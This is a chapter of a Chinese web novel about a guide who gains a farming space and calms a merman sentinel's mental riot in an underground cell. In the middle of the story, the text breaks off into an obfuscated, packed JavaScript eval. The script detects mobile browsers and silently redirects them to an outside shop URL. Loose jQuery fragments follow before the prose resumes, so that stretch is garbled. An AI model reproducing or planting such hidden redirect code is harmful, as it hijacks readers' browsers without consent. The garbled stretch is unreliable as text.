时筠直接坐起来了,以后有鸡和鸡蛋吃了!还有大米!

    大米甚至是稻花香2号!

    没有任何犹豫,鸡直接在空间里散养,稻种就种在空间广阔的黑土地里。

    就是不知道多久才能吃上。

    时筠砸吧砸吧嘴,将目光从两只溜溜达达的鸡崽身上挪开,再次看向系统面板。

    给的两个异能时筠暂时不打算激活,她手里没有足够的晶核,就算激活了也不能升级。

    另外两个就有说法了,食材大礼包和调料大礼包,这简直是瞌睡了有人送枕头,尤其是食材大礼包,什么雪花牛肉,猪五花,精品小羊排,让人看着就流口水。

    要知道她穿越前可是生活在美食大国的华夏,来这边之后一直在喝营养液吃合成罐头,连美食荒漠的日不落帝国都不如,感觉人都没盼头了。

    正好今晚就用空间里的厨房好好慰问一下自己的五脏庙。

    这边时筠适应良好的畅想自己的晚饭,另一边郁南初面对小队中的其他人却感觉有些头疼。

    要知道,他们这个小队本来就是因为拒绝联邦的向导匹配才被外派出来做任务,然后倒霉的滞留在9154星,如今郁南初出了一趟任务回来就带回来一个向导。

    那他们之前的抗争算什么,笑话吗?

    “她真的跟其他向导不一样。”郁南初的口水都要说干了,对面的几个哨兵仍然是一副油盐不进的样子。

    正中央的男人甚至直接道:“我不反对你带向导回来,但是加入小队,绝对不行。”

    “没错,沈宴说的对,向导那副身板,我们一起出去是保护她还是做任务?”段惊文手中把玩这一枚银币,满脸都是轻视。

    “不如先给她安排疏导工作?”这次开口的是赫尔曼,他看起来要比刚才的两个人温和得多。

    其余人则是沉默着,态度却没有一点松动。

    郁南初举手投降:“算了,我跟你们说不清,我约了她明天早上八点在指挥部见,等见到了你们最好还是这副嘴脸。”

    夜晚很快降临,基地里一如既往的安静,大家都怕声音引来丧尸。

    时筠吃完自己给自己做的色香味俱全的晚饭,正心满意足的趴在沙发上看书,房门却突然被敲响。

    “笃笃——时筠,你睡了吗?”郁南初的声音透过门板穿过来有些闷闷的。

    时筠打开房门:“还没有,怎么了?”

    “柏蘅精神暴动了,你能不能……给他做一下精神疏导?”

    柏蘅?时筠从脑海深处找到了这个没什么记忆点的名字,似乎是主角团小队里的一员,没记错的话精神体应该是人鱼,异能是水系。

    目前整个基地的饮用水貌似就靠着这位水系异能者。

    思及此,时筠没有推脱:“当然可以。”

    没想到时筠这么爽快,郁南初愣了一下,喃喃出声:“你答应了?”

    时筠安抚的朝她笑笑:“为什么不呢?”

    只是,看着电梯上急速下降的数字,时筠纳闷:“不是去精神疏导室?”

    “精神暴动的哨兵仅凭疏导室的设备压制不住,他现在在负一层的地牢。”

    时筠没再说话,很快,电梯叮——一声过后,两人抵达了昏暗的地牢。

    到处都是泛着冷光的金属色,仿佛整个空间都是一体的金属牢笼,轰隆轰隆的碰撞声从走廊深处传来。

    潮湿的水汽蔓延,时筠感觉自己像是被人兜头罩了一层塑料膜,有些喘不上气来。

    郁南初停下脚步:“抱歉,哨兵精神暴动的时候会对其他哨兵的气息格外敏感,我只能送你到这里,你……尽力而为,如果,如果救不回来。”

    她顿了顿。

    “必要时,不要手软。”

    时筠点点头,身影逐渐隐没在昏暗的走廊中。

    随着时筠靠近,她逐渐看清了牢笼里的景象。

    这个哨兵跟其他人不同,他的精神体就是他的本体,一条妖冶而强大的人鱼。

    此刻的柏蘅完全丧失了人类的特征,耳朵变成鱼类的耳鳍,牙齿尖利,脸上爬满了若隐若现的鱼鳞,上半身如同大卫的雕塑细腻瓷白,却蕴含着力量感,下半身已经幻化成浅蓝色的波光粼粼的鱼尾,尾鳍暴躁的一下一下拍打在牢门上。

    时筠知道,他现在一定很痛苦。

    没有犹豫,浅金色的精神丝编织成一张巨大的网,她为柏蘅建立了一层精舍屏障,果然,嘈杂的噪音消失不见后,牢笼里面容妖冶的人鱼安静了下来。

    他挪动身体,沉入巨大的浴缸中,眼尾泛红的打量着黑暗中的时筠。

    时筠打开地牢的门锁,迈入这间血迹斑斑的牢房。

    柏蘅仍保持着仰躺的姿势没动,任由时筠束缚住他的双手和鱼尾。

    面对已经完全异化的S级哨兵,时筠不敢大意,尽管他现在看起来乖巧无害,但时筠知道,那只是看起来而已。

    《向导指南》中对精神暴动的描写已经足够让时筠代入到现世镇压异兽时的场面了。

    确保柏蘅不能伤害她之后,她抬腿迈入浴缸中。

    这跟之前给郁南初做精神疏导不同,她要选择一个更保险的方式,额头相抵。

    柏蘅的警惕性远比郁南初要强硬的多,原因就是精神体,郁南初的精神体信任她,所以她轻而易举的就能敲开郁南初的精神图景。

    时筠闭上眼睛,精神丝倾巢而出,围绕着柏蘅的脑域寻找机会。

    “让我来。”很久不露面的白玉兰也出现了。

    清幽的玉兰花香出现的刹那,时筠找到了柏蘅精神图景的一丝丝缝隙,精神丝瞬间侵入。

    是大海,一望无际的大海。

    但有些过分平静了,像暴风雨来临的前夕,黑沉的天气将海水都染成了墨色。

    不对,时筠精神力幻化出的小人蹲下身子,掬起一捧墨汁一般的海水,只见海水接触到她手的瞬间就变得无比清澈。

    原来不是没有黑色物质,而是都融在了海水中。

    找到了源头,玉兰树却没有一头扎进海水中开始净化,

    反而是浮在半空中,整棵树骤然放大,满树的玉兰花被尽数抖落,翻飞着落入漆黑的大海中。

    点点星光自花瓣中散发出来,浓黑的海水逐渐变得清澈。

    但柏蘅依旧没有清醒的迹象,时筠皱了皱眉,海面上没有问题,只能是在海底了。

    这样想着,时筠一头扎进了海水中。

    已经恢复清澈的大海跟时筠在现世中浮浅时一样,光怪陆离的海洋世界在时筠眼前徐徐展开。

    不同的是,这里的海洋生物似乎都有自己的意识,一个个的围着时筠转圈圈,不肯散去,时筠伸出手,感受鱼儿从指尖游过,只觉得心灵都放松了。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17939990|213883||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>她也没忘记自己的目的,继续朝着海底游去,不多时,一个庞大水晶宫出现在时筠的眼前。

    有多华丽夸张呢,大概跟东海龙王的龙宫差不多了。

    珠光宝气,光华闪耀。

    时筠畅通无阻的穿梭在水晶宫中,在正殿的王座上找到了昏迷不醒的柏蘅。

    可能是因为难受,嘴唇紧紧的抿着,面色潮红。

    跟当初找到小蘑菇时没什么两样,柏蘅那条漂亮的鱼尾现在上面东一块西一块的附着着黑色物质,上半身瓷白的肌肤上也有很多刺眼的灼伤,丝丝缕缕的黑气盘踞在伤口上。

    她伸手,丝丝缕缕的黑气一碰见她便直接湮灭,只是与鱼尾上的黑色物质有些棘手,黏黏糊糊像是沥青,时筠耐心的蹲下身,手中的精神丝抽丝剥茧一般将那些黑色物质一一剥落。

    待到她将这些黑色物质全部剥离,王座上的人鱼才幽幽转醒。

    下一瞬时筠就被弹出了精神图景。

    时筠睁开眼,撞进一双深蓝色的眼瞳中,男人的异化特征全部褪去,修长的胳膊似乎想要搂住她,却被锁链紧紧束缚住,只听见一阵哗啦声。

    柏蘅垂眸看着眼前的向导,眼尾的弧度像是即将滴落的露水,湿漉漉的让人忍不住怜惜。

    “抱抱我,好么?”花瓣一样的唇张张合合,蛊惑着人下意识地随着他的话去做。

    是人鱼一族的天赋技能,声音蛊惑。

    可惜时筠一直竖立着精神屏障,但她还是按照柏蘅的话做了。

    接受精神疏导的哨兵,会在结束后对向导有依赖性,需要一些肢体和情绪上的安抚。

    时筠粗暴的认为这种行为叫做Aftercare。

    她环住哨兵劲瘦的腰,脸颊贴在他的胸膛上,咚咚——耳边传来的心跳声略微有些急促,时筠抬手抚上哨兵俊秀的眉眼:“好了好了,没事了。”

    柏蘅动了动脑袋,将脸颊送进向导温暖的手心里,下意识地动了动腰腹,极致地舒爽从尾椎骨一路攀升,然后在脑海中炸开一朵朵盛放的烟花。

    明明只是一个简单的安抚动作,却好像比做精神疏导时更让人感到满足。

    原来被向导温柔对待,是这样的感受吗?

    柏蘅的目光落在向导红润的唇上,怎么办,还想要更多。

    可理智在慢慢回笼,他清楚的知道这种精神疏导只是向导非常平常的一次工作而已,他不能更过分。

    委屈,失落,不满,隐忍。

    哨兵的情绪清晰的传递过来,时筠再次紧了紧手臂,浓郁的向导素毫不吝啬的充斥在整个空间内。

    不知道过去多久,时筠感受到哨兵的心跳归于平稳,所有的异化特征也逐渐消退,他睡着了。

    幸好睡着了,不然面对一个成年男性的裸体,时筠多多少少还是会感到有些尴尬。

    解开哨兵身上的束缚,时筠安静的退了出去。

    “好撑,我要睡觉。”

    听到白玉兰这么说,时筠一点都不感到意外,因为这次似乎真的吃太多了,连她都有一点饱胀的感觉。

    “你吃这么多没事吧,不会消化不良吗?”她有些担忧。

    白玉兰心态好得爆炸:“我还是发育期呢,而且我没有排泄系统谢谢。”

    说完这句话,白玉兰就真的消化(划掉)睡觉去了。

    时筠觉得她也该睡觉了。